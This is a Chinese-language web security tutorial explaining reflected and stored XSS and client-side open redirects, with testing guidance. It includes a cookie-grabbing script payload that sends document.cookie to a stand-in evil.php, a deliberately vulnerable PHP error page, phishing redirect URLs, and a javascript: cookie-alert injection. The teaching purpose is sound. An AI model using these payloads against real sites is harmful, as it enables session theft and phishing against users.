正如示例所示,XSS 漏洞是由 HTTP 响应中包含未经验证的数据的代码引起的。XSS 攻击可以通过三种方式到达受害者:

  • 如示例 1 所示,数据直接从 HTTP 请求中读取并反映在 HTTP 响应中。当攻击者导致用户向易受攻击的 Web 应用程序提供危险内容,然后该内容被反射回用户并由 Web 浏览器执行时,就会发生反射型 XSS 攻击。传送恶意内容的最常见机制是将其作为参数包含在公开发布或直接通过电子邮件发送给受害者的 URL 中。以这种方式构建的 URL 构成了许多网络钓鱼方案的核心,攻击者通过这种方式诱使受害者访问指向易受攻击站点的 URL。网站将攻击者的内容反射回用户后,该内容将被执行,并继续将私人信息(例如可能包含会话信息的 cookie)从用户的计算机传输到攻击者或执行其他恶意活动。
  • 如示例 2 中所示,应用程序将危险数据存储在数据库或其他可信数据存储中。危险数据随后被读回应用程序并包含在动态内容中。当攻击者将危险内容注入数据存储中并随后读取并包含在动态内容中时,就会发生存储型 XSS 攻击。从攻击者的角度来看,注入恶意内容的最佳位置是向许多用户或特别感兴趣的用户显示的区域。感兴趣的用户通常在应用程序中拥有更高的权限,或者与对攻击者有价值的敏感数据进行交互。如果这些用户之一执行恶意内容,攻击者可能能够代表该用户执行特权操作或访问属于该用户的敏感数据。
  • 应用程序外部的源将危险数据存储在数据库或其他数据存储中,并且危险数据随后作为可信数据读回到应用程序中并包含在动态内容中。

攻击示例

示例 1:Cookie 抓取器

如果应用程序不验证输入数据,攻击者就可以轻松窃取经过身份验证的用户的 cookie。攻击者所要做的就是将以下代码放置在任何发布的输入中(即:留言板、私人消息、用户个人资料):

1
2
3
<script type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</script>

上面的代码将 cookie 的转义内容(根据 RFC 内容必须在使用 GET 方法通过 HTTP 协议发送之前进行转义)传递到“cakemonster”变量中的 evil.php 脚本。然后,攻击者检查其 evil.php 脚本的结果(cookie 抓取器脚本通常会将 cookie 写入文件)并使用它。

错误页面示例

假设我们有一个错误页面,它正在处理对不存在页面的请求,这是一个典型的 404 错误页面。我们可以使用下面的代码作为示例来通知用户缺少哪些特定页面:

1
2
3
4
5
6
7
8
<html>
<body>
<?php
print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);
?>

</body>
</html>

让我们看看它是如何工作的:http://testsite.test/file_which_not_exist 我们得到的响应是:Not found: /file_which_not_exist

现在我们将尝试强制错误页面包含我们的代码:http://testsite.test/<script>alert("TEST");</script> 结果是:Not found: / (but with JavaScript code <script>alert("TEST");</script>)

我们已经成功注入了代码,我们的 XSS!这是什么意思?例如,我们可能会利用此缺陷来尝试窃取用户的会话 cookie。

防御措施

参考

CSP Bypass(Content Security Policy Bypass 绕过内容安全策略)

JavaScript Attacks(脚本攻击)

Authorisation Bypass(绕过授权)

Open HTTP Redirect(客户端 URL 重定向)

描述

这是一个输入验证缺陷,当应用程序接受用户控制的输入(指定指向可能恶意的外部 URL 的链接)时,就会存在这种缺陷。这种漏洞可用于完成网络钓鱼攻击或将受害者重定向到感染页面。

当应用程序接受包含 URL 值的不受信任的输入且未对其进行清理时,就会出现此漏洞。此 URL 值可能会导致 Web 应用程序将用户重定向到另一个页面,例如攻击者控制的恶意页面。

此漏洞可能使攻击者能够成功发起网络钓鱼诈骗并窃取用户凭据。由于重定向是由真实应用程序发起的,因此网络钓鱼尝试可能具有更值得信赖的外观。

以下是网络钓鱼攻击 URL 的示例。

1
http://www.target.site?#redirect=www.fake-target.site

访问此 URL 的受害者将被自动重定向到fake-target.site,攻击者可以在其中放置与预期站点类似的虚假页面,以窃取受害者的凭据。

开放重定向还可以用来制作一个 URL,绕过应用程序的访问控制检查,并将攻击者转发到他们通常无法访问的特权功能。

测试目标

  • 识别处理 URL 或路径的注入点。
  • 评估系统可以重定向到的位置。

如何测试

当测试人员手动检查此类漏洞时,他们首先确定客户端代码中是否实现了客户端重定向。举一个 JavaScript 的例子,这些重定向可以使用该window.location对象来实现。只需为其分配一个字符串,即可将浏览器定向到另一个页面。下面的代码片段演示了这一点:

1
2
3
4
var redir = location.hash.substring(1);
if (redir) {
window.location='http://'+decodeURIComponent(redir);
}

在此示例中,脚本不会对redir包含用户通过查询字符串提供的输入的变量执行任何验证。由于未应用任何形式的编码,因此未经验证的输入将传递给windows.location对象,从而创建 URL 重定向漏洞。

这意味着攻击者只需提交以下查询字符串即可将受害者重定向到恶意站点:

1
http://www.victim.site/?#www.malicious.site

经过轻微修改,上面的示例代码片段可能容易受到 JavaScript 注入的攻击。

1
2
3
4
var redir = location.hash.substring(1);
if (redir) {
window.location=decodeURIComponent(redir);
}

可以通过提交以下查询字符串来利用这一点:

1
http://www.victim.site/?#javascript:alert(document.cookie)

测试此漏洞时,请考虑不同浏览器对某些字符的处理方式不同。有关参考,请参阅基于 DOM 的 XSS